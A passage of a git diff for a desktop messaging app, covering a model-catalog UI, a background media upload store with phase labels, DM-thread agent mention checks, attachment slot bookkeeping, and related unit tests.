-                  <span className="shrink-0 rounded bg-primary/15 px-1.5 text-2xs font-medium text-primary">
-                    Recommended
-                  </span>
-                ) : null}
-                {entry.installed ? (
-                  <span className="shrink-0 text-2xs text-muted-foreground">
-                    Installed
-                  </span>
-                ) : null}
-              </button>
-            </li>
-          );
-        })}
-      </ul>
-      {advanced.length > 0 ? (
-        <button
-          className="mt-1 text-sm text-muted-foreground underline hover:text-foreground"
-          data-testid="mesh-catalog-advanced-toggle"
-          onClick={() => setExpanded((v) => !v)}
-          type="button"
-        >
-          {expanded
-            ? "Hide advanced models"
-            : `Advanced: ${advanced.length} more models`}
-        </button>
+    </div>
+  );
+}
+
+function MeshModelOptionLabel({ entry }: { entry: MeshCatalogEntry }) {
+  return (
+    <div className="flex min-w-0 items-center gap-2">
+      <span className="min-w-0 flex-1 truncate font-medium">{entry.name}</span>
+      <span className="shrink-0 text-muted-foreground">{entry.size}</span>
+      <span className={cn("shrink-0", FIT_CLASS[entry.fit])}>
+        {FIT_LABEL[entry.fit]}
+      </span>
+      {entry.recommended ? (
+        <span className="shrink-0 rounded bg-primary/15 px-1.5 text-2xs font-medium text-primary">
+          Recommended
+        </span>
+      ) : null}
+      {entry.installed ? (
+        <span className="shrink-0 text-2xs text-muted-foreground">
+          Installed
+        </span>
+      ) : null}
+      {!entry.curated ? (
+        <span className="shrink-0 text-2xs text-muted-foreground">
+          Advanced
+        </span>
       ) : null}
     </div>
   );
 }
 
 function StatusLine({
+  displayModel,
   isConsuming,
+  omitSharingVerb = false,
   pendingAction,
   status,
 }: {
+  displayModel?: string;
   isConsuming: boolean;
+  omitSharingVerb?: boolean;
   pendingAction: "start" | "stop" | null;
   status: MeshNodeStatus | null;
 }) {
@@ -583,12 +642,10 @@ function StatusLine({
     return <p className="text-sm text-muted-foreground">Checking status…</p>;
   }
   const { state, health, modelId, modelName } = status;
-  const modelLabel = modelName ?? modelId ?? "";
+  const modelLabel = displayModel ?? modelName ?? modelId ?? "";
 
   if (state === "off") {
-    return (
-      <p className="text-sm text-muted-foreground">Not sharing right now.</p>
-    );
+    return null;
   }
   if (state === "starting") {
     const reason =
@@ -614,7 +671,9 @@ function StatusLine({
     }
     return (
       <p className="text-sm text-muted-foreground">
-        Sharing{modelLabel ? ` ${modelLabel}` : ""} with relay members.
+        {omitSharingVerb ? "" : "Sharing"}
+        {modelLabel ? `${omitSharingVerb ? "" : " "}${modelLabel}` : ""} with
+        relay members.
       </p>
     );
   }
diff --git a/desktop/src/features/messages/lib/backgroundMediaUploadPhase.test.mjs b/desktop/src/features/messages/lib/backgroundMediaUploadPhase.test.mjs
new file mode 100644
index 0000000000..ed4ab860f7
--- /dev/null
+++ b/desktop/src/features/messages/lib/backgroundMediaUploadPhase.test.mjs
@@ -0,0 +1,49 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import {
+  backgroundMediaUploadPhaseLabel,
+  isNativeMediaUploadPhase,
+  resolveBackgroundMediaUploadPhase,
+} from "./backgroundMediaUploadPhase.ts";
+
+test("upload phase labels describe the real work in plain language", () => {
+  assert.equal(backgroundMediaUploadPhaseLabel("preparing"), "Preparing");
+  assert.equal(
+    backgroundMediaUploadPhaseLabel("processing-video"),
+    "Processing",
+  );
+  assert.equal(
+    backgroundMediaUploadPhaseLabel("converting-image"),
+    "Converting",
+  );
+  assert.equal(
+    backgroundMediaUploadPhaseLabel("processing-files"),
+    "Processing",
+  );
+  assert.equal(backgroundMediaUploadPhaseLabel("uploading"), "Uploading");
+  assert.equal(backgroundMediaUploadPhaseLabel("finishing"), "Finishing");
+});
+
+test("upload phase validation accepts only phases emitted by native code", () => {
+  assert.equal(isNativeMediaUploadPhase("processing-video"), true);
+  assert.equal(isNativeMediaUploadPhase("processing-files"), false);
+  assert.equal(isNativeMediaUploadPhase("transcribing"), false);
+  assert.equal(isNativeMediaUploadPhase(null), false);
+});
+
+test("upload phase aggregation favors active transfer and combines mixed work", () => {
+  assert.equal(resolveBackgroundMediaUploadPhase([]), "preparing");
+  assert.equal(
+    resolveBackgroundMediaUploadPhase(["processing-video", "uploading"]),
+    "uploading",
+  );
+  assert.equal(
+    resolveBackgroundMediaUploadPhase(["processing-video", "preparing"]),
+    "processing-files",
+  );
+  assert.equal(
+    resolveBackgroundMediaUploadPhase(["finishing", "finishing"]),
+    "finishing",
+  );
+});
diff --git a/desktop/src/features/messages/lib/backgroundMediaUploadPhase.ts b/desktop/src/features/messages/lib/backgroundMediaUploadPhase.ts
new file mode 100644
index 0000000000..0d8a98f2ff
--- /dev/null
+++ b/desktop/src/features/messages/lib/backgroundMediaUploadPhase.ts
@@ -0,0 +1,60 @@
+export type BackgroundMediaUploadPhase =
+  | "preparing"
+  | "processing-video"
+  | "converting-image"
+  | "processing-files"
+  | "uploading"
+  | "finishing";
+
+export type NativeMediaUploadPhase = Exclude<
+  BackgroundMediaUploadPhase,
+  "processing-files"
+>;
+
+const NATIVE_PHASES = new Set<NativeMediaUploadPhase>([
+  "preparing",
+  "processing-video",
+  "converting-image",
+  "uploading",
+  "finishing",
+]);
+
+export function isNativeMediaUploadPhase(
+  value: unknown,
+): value is NativeMediaUploadPhase {
+  return (
+    typeof value === "string" &&
+    NATIVE_PHASES.has(value as NativeMediaUploadPhase)
+  );
+}
+
+export function resolveBackgroundMediaUploadPhase(
+  phases: BackgroundMediaUploadPhase[],
+): BackgroundMediaUploadPhase {
+  if (phases.length === 0) return "preparing";
+  if (phases.includes("uploading")) return "uploading";
+
+  const activePhases = new Set(phases.filter((phase) => phase !== "finishing"));
+  if (activePhases.size === 0) return "finishing";
+  if (activePhases.size > 1) return "processing-files";
+  return activePhases.values().next().value ?? "preparing";
+}
+
+export function backgroundMediaUploadPhaseLabel(
+  phase: BackgroundMediaUploadPhase,
+): string {
+  switch (phase) {
+    case "processing-video":
+      return "Processing";
+    case "converting-image":
+      return "Converting";
+    case "processing-files":
+      return "Processing";
+    case "uploading":
+      return "Uploading";
+    case "finishing":
+      return "Finishing";
+    default:
+      return "Preparing";
+  }
+}
diff --git a/desktop/src/features/messages/lib/backgroundMediaUploadStore.ts b/desktop/src/features/messages/lib/backgroundMediaUploadStore.ts
new file mode 100644
index 0000000000..ace711985a
--- /dev/null
+++ b/desktop/src/features/messages/lib/backgroundMediaUploadStore.ts
@@ -0,0 +1,350 @@
+import * as React from "react";
+
+import type { BlobDescriptor } from "@/shared/api/tauri";
+import { cancelMediaUpload, uploadMediaFile } from "@/shared/api/tauriMedia";
+import {
+  type BackgroundMediaUploadPhase,
+  isNativeMediaUploadPhase,
+  resolveBackgroundMediaUploadPhase,
+} from "./backgroundMediaUploadPhase";
+
+export type QueuedMediaAttachment = {
+  file: File;
+  id: number;
+  previewUrl?: string;
+  spoilered: boolean;
+};
+
+type BackgroundUploadTask = {
+  abortController: AbortController;
+  canceled: boolean;
+  filePhases: BackgroundMediaUploadPhase[];
+  fileProgress: Array<{ sent: number; total: number }>;
+  id: number;
+  isCompleting: boolean;
+  onCancel?: () => void;
+};
+
+type BackgroundUploadSnapshot = {
+  canCancel: boolean;
+  isUploading: boolean;
+  phase: BackgroundMediaUploadPhase;
+  percentage: number;
+};
+
+type EnqueueBackgroundUploadOptions = {
+  attachments: QueuedMediaAttachment[];
+  onCancel?: () => void;
+  onComplete: (
+    descriptors: BlobDescriptor[],
+    signal: AbortSignal,
+  ) => Promise<void>;
+  onError: (error: unknown) => void;
+};
+
+type StartBackgroundUploadOptions = Omit<
+  EnqueueBackgroundUploadOptions,
+  "attachments"
+>;
+
+export type PreparedBackgroundMediaUpload = {
+  cancel: () => void;
+  start: (options: StartBackgroundUploadOptions) => boolean;
+};
+
+const tasks = new Map<number, BackgroundUploadTask>();
+const queuedAttachmentsByDraftKey = new Map<string, QueuedMediaAttachment[]>();
+const listeners = new Set<() => void>();
+let nextTaskId = 0;
+let snapshot: BackgroundUploadSnapshot = {
+  canCancel: false,
+  isUploading: false,
+  phase: "preparing",
+  percentage: 0,
+};
+let stopUploadListeners: (() => void)[] = [];
+let uploadListenersPromise: Promise<void> | null = null;
+
+function progressId(taskId: number, fileIndex: number): string {
+  return `background-media-upload-${taskId}-${fileIndex}`;
+}
+
+function rebuildSnapshot(): void {
+  const allTasks = [...tasks.values()];
+  const allProgress = allTasks.flatMap((task) => task.fileProgress);
+  const totalBytes = allProgress.reduce(
+    (total, progress) => total + progress.total,
+    0,
+  );
+  const sentBytes = allProgress.reduce(
+    (total, progress) => total + progress.sent,
+    0,
+  );
+  snapshot = {
+    canCancel: allTasks.some((task) => !task.isCompleting),
+    isUploading: allTasks.length > 0,
+    phase: resolveBackgroundMediaUploadPhase(
+      allTasks.flatMap((task) => task.filePhases),
+    ),
+    percentage:
+      totalBytes === 0 ? 0 : Math.round((sentBytes / totalBytes) * 100),
+  };
+  for (const listener of listeners) listener();
+}
+
+async function ensureUploadListeners(): Promise<void> {
+  if (stopUploadListeners.length > 0) return;
+  if (uploadListenersPromise) {
+    await uploadListenersPromise;
+    return;
+  }
+  uploadListenersPromise = (async () => {
+    const disposers: (() => void)[] = [];
+    try {
+      const { listen } = await import("@tauri-apps/api/event");
+      disposers.push(
+        await listen<{
+          id: string;
+          sent: number;
+          total: number;
+        }>("media-upload-progress", (event) => {
+          const match = /^background-media-upload-(\d+)-(\d+)$/.exec(
+            event.payload.id,
+          );
+          if (!match || event.payload.total <= 0) return;
+
+          const task = tasks.get(Number(match[1]));
+          const fileIndex = Number(match[2]);
+          if (!task || fileIndex >= task.fileProgress.length) return;
+
+          task.filePhases[fileIndex] = "uploading";
+          task.fileProgress[fileIndex] = {
+            sent: Math.min(
+              event.payload.total,
+              Math.max(0, event.payload.sent),
+            ),
+            total: event.payload.total,
+          };
+          rebuildSnapshot();
+        }),
+      );
+      disposers.push(
+        await listen<{ id: string; phase: unknown }>(
+          "media-upload-phase",
+          (event) => {
+            const match = /^background-media-upload-(\d+)-(\d+)$/.exec(
+              event.payload.id,
+            );
+            if (!match || !isNativeMediaUploadPhase(event.payload.phase)) {
+              return;
+            }
+
+            const task = tasks.get(Number(match[1]));
+            const fileIndex = Number(match[2]);
+            if (!task || fileIndex >= task.filePhases.length) return;
+
+            task.filePhases[fileIndex] = event.payload.phase;
+            rebuildSnapshot();
+          },
+        ),
+      );
+      if (tasks.size === 0) {
+        for (const dispose of disposers) dispose();
+      } else {
+        stopUploadListeners = disposers;
+      }
+    } catch {
+      for (const dispose of disposers) dispose();
+      // Browser and E2E runtimes do not emit native upload state.
+    } finally {
+      uploadListenersPromise = null;
+    }
+  })();
+  await uploadListenersPromise;
+}
+
+function finishTask(taskId: number): void {
+  tasks.delete(taskId);
+  rebuildSnapshot();
+  if (tasks.size === 0) {
+    for (const dispose of stopUploadListeners) dispose();
+    stopUploadListeners = [];
+  }
+}
+
+function cancelTask(
+  task: BackgroundUploadTask,
+  { force = false, notify = true }: { force?: boolean; notify?: boolean } = {},
+): void {
+  if (task.canceled || (task.isCompleting && !force)) return;
+  task.canceled = true;
+  task.abortController.abort();
+  if (notify) task.onCancel?.();
+  for (let index = 0; index < task.fileProgress.length; index += 1) {
+    void cancelMediaUpload(progressId(task.id, index)).catch(() => undefined);
+  }
+  finishTask(task.id);
+}
+
+function yieldForUploadFeedback(): Promise<void> {
+  if (
+    typeof window === "undefined" ||
+    typeof window.requestAnimationFrame !== "function" ||
+    document.visibilityState === "hidden"
+  ) {
+    return new Promise((resolve) => setTimeout(resolve, 0));
+  }
+
+  return new Promise((resolve) => {
+    window.requestAnimationFrame(() => window.setTimeout(resolve, 0));
+  });
+}
+
+export function prepareBackgroundMediaUpload(
+  attachments: QueuedMediaAttachment[],
+): PreparedBackgroundMediaUpload {
+  if (attachments.length === 0) {
+    let started = false;
+    return {
+      cancel: () => undefined,
+      start: ({ onComplete, onError }) => {
+        if (started) return false;
+        started = true;
+        void onComplete([], new AbortController().signal).catch(onError);
+        return true;
+      },
+    };
+  }
+
+  const taskId = nextTaskId;
+  nextTaskId += 1;
+  const task: BackgroundUploadTask = {
+    abortController: new AbortController(),
+    canceled: false,
+    filePhases: attachments.map(() => "preparing"),
+    fileProgress: attachments.map((attachment) => ({
+      sent: 0,
+      total: attachment.file.size,
+    })),
+    id: taskId,
+    isCompleting: false,
+  };
+  let started = false;
+  tasks.set(taskId, task);
+  rebuildSnapshot();
+
+  return {
+    cancel: () => {
+      cancelTask(task);
+    },
+    start: ({ onCancel, onComplete, onError }) => {
+      if (started || task.canceled) return false;
+      started = true;
+      task.onCancel = onCancel;
+
+      void (async () => {
+        try {
+          await ensureUploadListeners();
+          // Let React commit and paint the 0% task before file reads or native
+          // IPC begin, so large attachments never hide the initial feedback.
+          await yieldForUploadFeedback();
+          const descriptors: BlobDescriptor[] = [];
+          for (let index = 0; index < attachments.length; index += 1) {
+            if (task.canceled) return;
+            const attachment = attachments[index];
+            const descriptor = await uploadMediaFile(
+              attachment.file,
+              progressId(taskId, index),
+              task.abortController.signal,
+            );
+            if (task.canceled) return;
+            task.filePhases[index] = "finishing";
+            task.fileProgress[index] = {
+              sent: task.fileProgress[index].total,
+              total: task.fileProgress[index].total,
+            };
+            rebuildSnapshot();
+            descriptors.push(descriptor);
+          }
+
+          if (!task.canceled) {
+            task.isCompleting = true;
+            task.filePhases.fill("finishing");
+            rebuildSnapshot();
+            await onComplete(descriptors, task.abortController.signal);
+          }
+        } catch (error) {
+          if (!task.canceled) onError(error);
+        } finally {
+          finishTask(taskId);
+        }
+      })();
+      return true;
+    },
+  };
+}
+
+export function enqueueBackgroundMediaUpload({
+  attachments,
+  onCancel,
+  onComplete,
+  onError,
+}: EnqueueBackgroundUploadOptions): PreparedBackgroundMediaUpload {
+  const preparedUpload = prepareBackgroundMediaUpload(attachments);
+  preparedUpload.start({ onCancel, onComplete, onError });
+  return preparedUpload;
+}
+
+export function cancelBackgroundMediaUploads(): void {
+  for (const task of [...tasks.values()].reverse()) {
+    if (!task.isCompleting) {
+      cancelTask(task);
+      return;
+    }
+  }
+}
+
+export function resetBackgroundMediaUploads(): void {
+  for (const task of [...tasks.values()]) {
+    cancelTask(task, { force: true, notify: false });
+  }
+  queuedAttachmentsByDraftKey.clear();
+}
+
+/**
+ * Retain local files that cannot be serialized with a draft while a deferred
+ * upload recovers after the user has left its channel.
+ */
+export function saveQueuedAttachmentsForDraft(
+  draftKey: string,
+  attachments: QueuedMediaAttachment[],
+): void {
+  queuedAttachmentsByDraftKey.set(draftKey, attachments);
+}
+
+/** Remove local files retained for a draft without restoring them. */
+export function discardQueuedAttachmentsForDraft(draftKey: string): void {
+  queuedAttachmentsByDraftKey.delete(draftKey);
+}
+
+/** Return and remove the local files retained for a recovered draft. */
+export function takeQueuedAttachmentsForDraft(
+  draftKey: string,
+): QueuedMediaAttachment[] {
+  const attachments = queuedAttachmentsByDraftKey.get(draftKey) ?? [];
+  queuedAttachmentsByDraftKey.delete(draftKey);
+  return attachments;
+}
+
+function subscribe(listener: () => void): () => void {
+  listeners.add(listener);
+  return () => listeners.delete(listener);
+}
+
+function getSnapshot(): BackgroundUploadSnapshot {
+  return snapshot;
+}
+
+export function useBackgroundMediaUpload(): BackgroundUploadSnapshot {
+  return React.useSyncExternalStore(subscribe, getSnapshot, getSnapshot);
+}
diff --git a/desktop/src/features/messages/lib/dmThreadAgentMentionError.ts b/desktop/src/features/messages/lib/dmThreadAgentMentionError.ts
new file mode 100644
index 0000000000..14ba5ec4e8
--- /dev/null
+++ b/desktop/src/features/messages/lib/dmThreadAgentMentionError.ts
@@ -0,0 +1,57 @@
+import { normalizePubkey } from "@/shared/lib/pubkey";
+import type { ChannelType } from "@/shared/api/types";
+
+export const DM_THREAD_AGENT_MENTION_ERROR =
+  "Agents must already be in a DM to be mentioned in its threads. Start a new conversation that includes the agent.";
+export const DM_THREAD_MEMBERS_LOADING_ERROR =
+  "Checking conversation members. Try again in a moment.";
+
+/**
+ * Why a DM thread reply may not mention an agent, or null when it may.
+ *
+ * A DM's participant set is fixed at creation, so a thread reply can only
+ * mention agents already in it — persona mentions (which would create a new
+ * agent) are always refused.
+ */
+export function dmThreadAgentMentionError({
+  trimmed,
+  isThreadReply,
+  channelType,
+  extractMentionPersonas,
+  extractMentionPubkeys,
+  isAgentPubkey,
+  hasResolvedMembers,
+  memberPubkeys,
+}: {
+  trimmed: string;
+  isThreadReply: boolean;
+  channelType: ChannelType | null;
+  extractMentionPersonas: (text: string) => unknown[];
+  extractMentionPubkeys: (text: string) => string[];
+  isAgentPubkey: (pubkey: string) => boolean;
+  hasResolvedMembers: boolean;
+  memberPubkeys: ReadonlySet<string>;
+}): string | null {
+  if (channelType !== "dm" || !isThreadReply) {
+    return null;
+  }
+
+  if (extractMentionPersonas(trimmed).length > 0) {
+    return DM_THREAD_AGENT_MENTION_ERROR;
+  }
+
+  const agentPubkeys = extractMentionPubkeys(trimmed).filter(isAgentPubkey);
+  if (agentPubkeys.length === 0) {
+    return null;
+  }
+
+  if (!hasResolvedMembers) {
+    return DM_THREAD_MEMBERS_LOADING_ERROR;
+  }
+
+  return agentPubkeys.some(
+    (pubkey) => !memberPubkeys.has(normalizePubkey(pubkey)),
+  )
+    ? DM_THREAD_AGENT_MENTION_ERROR
+    : null;
+}
diff --git a/desktop/src/features/messages/lib/imetaSlots.test.mjs b/desktop/src/features/messages/lib/imetaSlots.test.mjs
new file mode 100644
index 0000000000..55307f08c4
--- /dev/null
+++ b/desktop/src/features/messages/lib/imetaSlots.test.mjs
@@ -0,0 +1,100 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { applyImetaUpdate, compactImetaSlots } from "./imetaSlots.ts";
+
+// An immediate upload reserves a `null` placeholder and later fills it *by
+// index*. Updates written against the compacted list must therefore be mapped
+// back onto the slot layout: replacing the array renumbers it under an
+// in-flight upload, whose fillSlot would then overwrite an unrelated
+// attachment.
+
+const SNAPSHOT = { url: "snapshot.png", sha256: "5555" };
+const append = (descriptor) => (current) => [...current, descriptor];
+
+test("compaction hides in-flight placeholders", () => {
+  const only = { url: "only.png", sha256: "1111" };
+  assert.deepEqual(compactImetaSlots([null, only, null]), [only]);
+  assert.deepEqual(compactImetaSlots([]), []);
+});
+
+test("a snapshot paste during an in-flight upload does not take its slot", () => {
+  // Repro: attach a photo (slot 0 reserved, still uploading), then paste an
+  // agent snapshot. The snapshot must land after the placeholder so the
+  // photo's fillSlot(0, ...) cannot overwrite it.
+  const slots = applyImetaUpdate([null], append(SNAPSHOT));
+  assert.deepEqual(slots, [null, SNAPSHOT]);
+
+  // The upload completes and fills its own reserved index.
+  const photo = { url: "photo.png", sha256: "aaaa" };
+  const filled = [...slots];
+  filled[0] = photo;
+  assert.deepEqual(filled, [photo, SNAPSHOT]);
+});
+
+test("an append keeps already-filled attachments at their own indexes", () => {
+  const first = { url: "first.png", sha256: "1111" };
+  assert.deepEqual(applyImetaUpdate([first, null], append(SNAPSHOT)), [
+    first,
+    null,
+    SNAPSHOT,
+  ]);
+});
+
+test("an updater returning its input leaves the slots untouched", () => {
+  // handleSnapshotPaste returns `current` unchanged when the snapshot is
+  // already attached; that must not disturb a reserved placeholder.
+  const existing = [SNAPSHOT, null];
+  const slots = applyImetaUpdate(existing, (current) => current);
+  assert.equal(slots, existing, "same array identity, no re-render churn");
+});
+
+test("a removal nulls its slot instead of renumbering", () => {
+  // Removing an attachment must not shift the index a pending upload holds.
+  const keep = { url: "keep.png", sha256: "1111" };
+  const drop = { url: "drop.png", sha256: "2222" };
+  const slots = applyImetaUpdate([keep, drop, null], (current) =>
+    current.filter((d) => d.url !== "drop.png"),
+  );
+  assert.deepEqual(slots, [keep, null, null]);
+});
+
+test("clearing every attachment keeps the reserved placeholders", () => {
+  const one = { url: "one.png", sha256: "1111" };
+  assert.deepEqual(
+    applyImetaUpdate([one, null], () => []),
+    [null, null],
+  );
+});
+
+test("the updater only ever sees real attachments", () => {
+  const only = { url: "only.png", sha256: "1111" };
+  let seen = null;
+  applyImetaUpdate([null, only, null], (current) => {
+    seen = current;
+    return current;
+  });
+  assert.deepEqual(seen, [only]);
+});
+
+test("descriptors are matched on url and digest together", () => {
+  // Same url, different bytes: the new descriptor is an append, not a survivor.
+  const original = { url: "same.png", sha256: "1111" };
+  const reuploaded = { url: "same.png", sha256: "2222" };
+  assert.deepEqual(applyImetaUpdate([original, null], append(reuploaded)), [
+    original,
+    null,
+    reuploaded,
+  ]);
+});
+
+test("a reorder does not move descriptors out of their slots", () => {
+  // Reordering cannot be honored while an upload holds an index; keeping the
+  // existing positions is what protects the pending fillSlot.
+  const a = { url: "a.png", sha256: "1111" };
+  const b = { url: "b.png", sha256: "2222" };
+  const slots = applyImetaUpdate([a, b, null], (current) =>
+    [...current].reverse(),
+  );
+  assert.deepEqual(slots, [a, b, null]);
+});
diff --git a/desktop/src/features/messages/lib/imetaSlots.ts b/desktop/src/features/messages/lib/imetaSlots.ts
new file mode 100644
index 0000000000..d8aa10e49f
--- /dev/null
+++ b/desktop/src/features/messages/lib/imetaSlots.ts
@@ -0,0 +1,65 @@
+import type { BlobDescriptor } from "@/shared/api/tauri";
+
+/**
+ * Slot bookkeeping for composer attachments.
+ *
+ * Attachments live in a sparse array: an immediate upload calls `reserveSlots`
+ * to claim an index up front and fills it by that index when it completes, so
+ * concurrent uploads publish in the order they were attached. A `null` is a
+ * placeholder for an upload still in flight.
+ *
+ * Consumers of the composer only ever see the compacted list of real
+ * attachments, so any update expressed against that view has to be mapped back
+ * onto the slot layout — never applied to it directly.
+ */
+
+/**
+ * Identity of a descriptor. `url` alone can repeat across re-uploads of
+ * identical bytes, so pair it with the digest.
+ */
+function descriptorKey(descriptor: BlobDescriptor): string {
+  return `${descriptor.url}\u0000${descriptor.sha256 ?? ""}`;
+}
+
+/** The real attachments, in order, with in-flight placeholders dropped. */
+export function compactImetaSlots(
+  slots: (BlobDescriptor | null)[],
+): BlobDescriptor[] {
+  return slots.filter((d): d is BlobDescriptor => d !== null);
+}
+
+/**
+ * Apply an updater written against the compacted list back onto `slots`.
+ *
+ * Replacing the array with the updater's result would renumber it while an
+ * in-flight upload still holds an index from `reserveSlots`, so that upload's
+ * `fillSlot` would overwrite an unrelated attachment. Instead:
+ *
+ * - survivors stay at the index they already occupy;
+ * - removals become `null` rather than shifting their neighbours;
+ * - genuinely new descriptors append after the reserved tail, where no pending
+ *   `fillSlot` can reach them.
+ *
+ * An updater that returns its input unchanged (e.g. the snapshot-paste dedupe)
+ * leaves `slots` exactly as it was, identity included.
+ */
+export function applyImetaUpdate(
+  slots: (BlobDescriptor | null)[],
+  update: (current: BlobDescriptor[]) => BlobDescriptor[],
+): (BlobDescriptor | null)[] {
+  const current = compactImetaSlots(slots);
+  const next = update(current);
+  if (next === current) return slots;
+
+  const survivingKeys = new Set(next.map(descriptorKey));
+  const preserved = slots.map((descriptor) =>
+    descriptor === null || survivingKeys.has(descriptorKey(descriptor))
+      ? descriptor
+      : null,
+  );
+  const presentKeys = new Set(current.map(descriptorKey));
+  const appended = next.filter(
+    (descriptor) => !presentKeys.has(descriptorKey(descriptor)),
+  );
+  return appended.length > 0 ? [...preserved, ...appended] : preserved;
+}
diff --git a/desktop/src/features/messages/lib/rowHeightEstimate.test.mjs b/desktop/src/features/messages/lib/rowHeightEstimate.test.mjs
index f17a53c661..1fe6f66cd5 100644
--- a/desktop/src/features/messages/lib/rowHeightEstimate.test.mjs
+++ b/desktop/src/features/messages/lib/rowHeightEstimate.test.mjs
@@ -106,11 +106,11 @@ test("timelineRowReserveStyle: message item yields containIntrinsicSize", () =>
   assert.match(String(style.containIntrinsicSize), /^auto \d+px$/);
 });
 
-test("timelineRowReserveStyle: divider is short fixed height", () => {
+test("timelineRowReserveStyle: divider reserves its visual breathing room", () => {
   const style = timelineRowReserveStyle({
     kind: "day-divider",
     key: "k",
     headingTimestamp: 0,
   });
-  assert.equal(style.containIntrinsicSize, "auto 32px");
+  assert.equal(style.containIntrinsicSize, "auto 56px");
 });
diff --git a/desktop/src/features/messages/lib/rowHeightEstimate.ts b/desktop/src/features/messages/lib/rowHeightEstimate.ts
index acefae95d4..196aabbec4 100644
--- a/desktop/src/features/messages/lib/rowHeightEstimate.ts
+++ b/desktop/src/features/messages/lib/rowHeightEstimate.ts
@@ -156,7 +156,7 @@ export function estimateRowHeight(
 
 // Dividers are short, fixed-height rows; reserving their true height keeps the
 // estimate honest without a content scan.
-const DIVIDER_HEIGHT = 32;
+const DIVIDER_HEIGHT = 56;
 const SYSTEM_GROUP_HEIGHT = 80;
 
 /**
diff --git a/desktop/src/features/messages/lib/systemEventCopy.test.mjs b/desktop/src/features/messages/lib/systemEventCopy.test.mjs
index eeed9d543c..417685d47e 100644
--- a/desktop/src/features/messages/lib/systemEventCopy.test.mjs
+++ b/desktop/src/features/messages/lib/systemEventCopy.test.mjs
@@ -2,10 +2,16 @@ import assert from "node:assert/strict";
 import test from "node:test";
 
 import {
+  addedByActionPrefix,
   describeChannelTextFieldChange,
   toInlineName,
 } from "./systemEventCopy.ts";
 
+test("an add to the reader uses passive wording", () => {
+  assert.equal(addedByActionPrefix(true), "were added by");
+  assert.equal(addedByActionPrefix(false), "added by");
+});
+
 test("a set topic is quoted verbatim", () => {
   assert.equal(
     describeChannelTextFieldChange("topic", "Release planning"),
diff --git a/desktop/src/features/messages/lib/systemEventCopy.ts b/desktop/src/features/messages/lib/systemEventCopy.ts
index bae6abb09b..99f7316165 100644
--- a/desktop/src/features/messages/lib/systemEventCopy.ts
+++ b/desktop/src/features/messages/lib/systemEventCopy.ts
@@ -14,6 +14,15 @@ const CLOSE_QUOTE = "”";
 
 export type ChannelTextField = "topic" | "purpose";
 
+/**
+ * The reader is the recipient of an add, while every other member is the
+ * subject of one. Keep that distinction in the caption: "You were added by"
+ * rather than the ungrammatical "You added by".
+ */
+export function addedByActionPrefix(isCurrentUser: boolean): string {
+  return isCurrentUser ? "were added by" : "added by";
+}
+
 /**
  * Caption for a channel topic or purpose change.
  *
diff --git a/desktop/src/features/messages/lib/timelineItems.test.mjs b/desktop/src/features/messages/lib/timelineItems.test.mjs
index 4677fe7b49..2b87b5ebc3 100644
--- a/desktop/src/features/messages/lib/timelineItems.test.mjs
+++ b/desktop/src/features/messages/lib/timelineItems.test.mjs
@@ -48,6 +48,15 @@ function memberJoinedEntry({ createdAt, id, target }) {
   return memberAddedEntry({ actor: target, createdAt, id, target });
 }
 
+function memberLeftEntry({ createdAt, id, target }) {
+  return entry({
+    id,
+    createdAt,
+    kind: KIND_SYSTEM_MESSAGE,
+    body: JSON.stringify({ type: "member_left", actor: target }),
+  });
+}
+
 function kinds(items) {
   return items.map((item) => item.kind);
 }
@@ -103,12 +112,12 @@ test("buildTimelineItems: system messages flatten to a 'system' item", () => {
   assert.deepEqual(kinds(items), ["day-divider", "message", "system"]);
 });
 
-test("buildTimelineItems: member additions by one actor group within five minutes", () => {
+test("buildTimelineItems: contiguous member additions by one actor group", () => {
   const start = dayAt(2026, 6, 14);
   const entries = [
     memberAddedEntry({ id: "a", target: "target-a", createdAt: start }),
     memberAddedEntry({ id: "b", target: "target-b", createdAt: start + 60 }),
-    memberAddedEntry({ id: "c", target: "target-c", createdAt: start + 300 }),
+    memberAddedEntry({ id: "c", target: "target-c", createdAt: start + 3_600 }),
   ];
 
   const { items } = buildTimelineItems(entries, null);
@@ -121,7 +130,7 @@ test("buildTimelineItems: member additions by one actor group within five minute
   assert.equal(group?.key, "c");
 });
 
-test("buildTimelineItems: self-joins group across different members within five minutes", () => {
+test("buildTimelineItems: contiguous self-joins group across different members", () => {
   const start = dayAt(2026, 6, 14);
   const entries = [
     memberJoinedEntry({ id: "a", target: "target-a", createdAt: start }),
@@ -133,7 +142,7 @@ test("buildTimelineItems: self-joins group across different members within five
     memberJoinedEntry({
       id: "c",
       target: "target-c",
-      createdAt: start + 300,
+      createdAt: start + 3_600,
     }),
   ];
 
@@ -149,9 +158,9 @@ test("buildTimelineItems: self-joins group across different members within five
 test("buildTimelineItems: prepending membership history preserves the loaded suffix", () => {
   const start = dayAt(2026, 6, 14);
   const loaded = [
-    memberAddedEntry({ id: "b", target: "target-b", createdAt: start + 240 }),
-    memberAddedEntry({ id: "c", target: "target-c", createdAt: start + 360 }),
-    entry({ id: "message", createdAt: start + 600 }),
+    memberAddedEntry({ id: "b", target: "target-b", createdAt: start + 3_500 }),
+    memberAddedEntry({ id: "c", target: "target-c", createdAt: start + 3_601 }),
+    entry({ id: "message", createdAt: start + 3_700 }),
   ];
   const prepended = [
     memberAddedEntry({ id: "a", target: "target-a", createdAt: start }),
@@ -164,23 +173,28 @@ test("buildTimelineItems: prepending membership history preserves the loaded suf
   const prependedKeys = prependedItems.slice(1).map((item) => item.key);
 
   assert.deepEqual(loadedKeys, ["c", "message"]);
-  assert.deepEqual(prependedKeys, ["a", "c", "message"]);
+  assert.deepEqual(prependedKeys, ["c", "message"]);
   assert.deepEqual(prependedKeys.slice(-loadedKeys.length), loadedKeys);
 });
 
-test("buildTimelineItems: member-add window is fixed from the newest addition", () => {
+test("buildTimelineItems: contiguous member additions extend a group outside one hour", () => {
   const start = dayAt(2026, 6, 14);
   const entries = [
     memberAddedEntry({ id: "a", target: "target-a", createdAt: start }),
-    memberAddedEntry({ id: "b", target: "target-b", createdAt: start + 240 }),
-    memberAddedEntry({ id: "c", target: "target-c", createdAt: start + 301 }),
+    memberAddedEntry({ id: "b", target: "target-b", createdAt: start + 3_599 }),
+    memberAddedEntry({ id: "c", target: "target-c", createdAt: start + 3_601 }),
   ];
 
   const { items } = buildTimelineItems(entries, null);
-  assert.deepEqual(kinds(items), ["day-divider", "system", "system-group"]);
+  assert.deepEqual(kinds(items), ["day-divider", "system-group"]);
+  const group = items.find((item) => item.kind === "system-group");
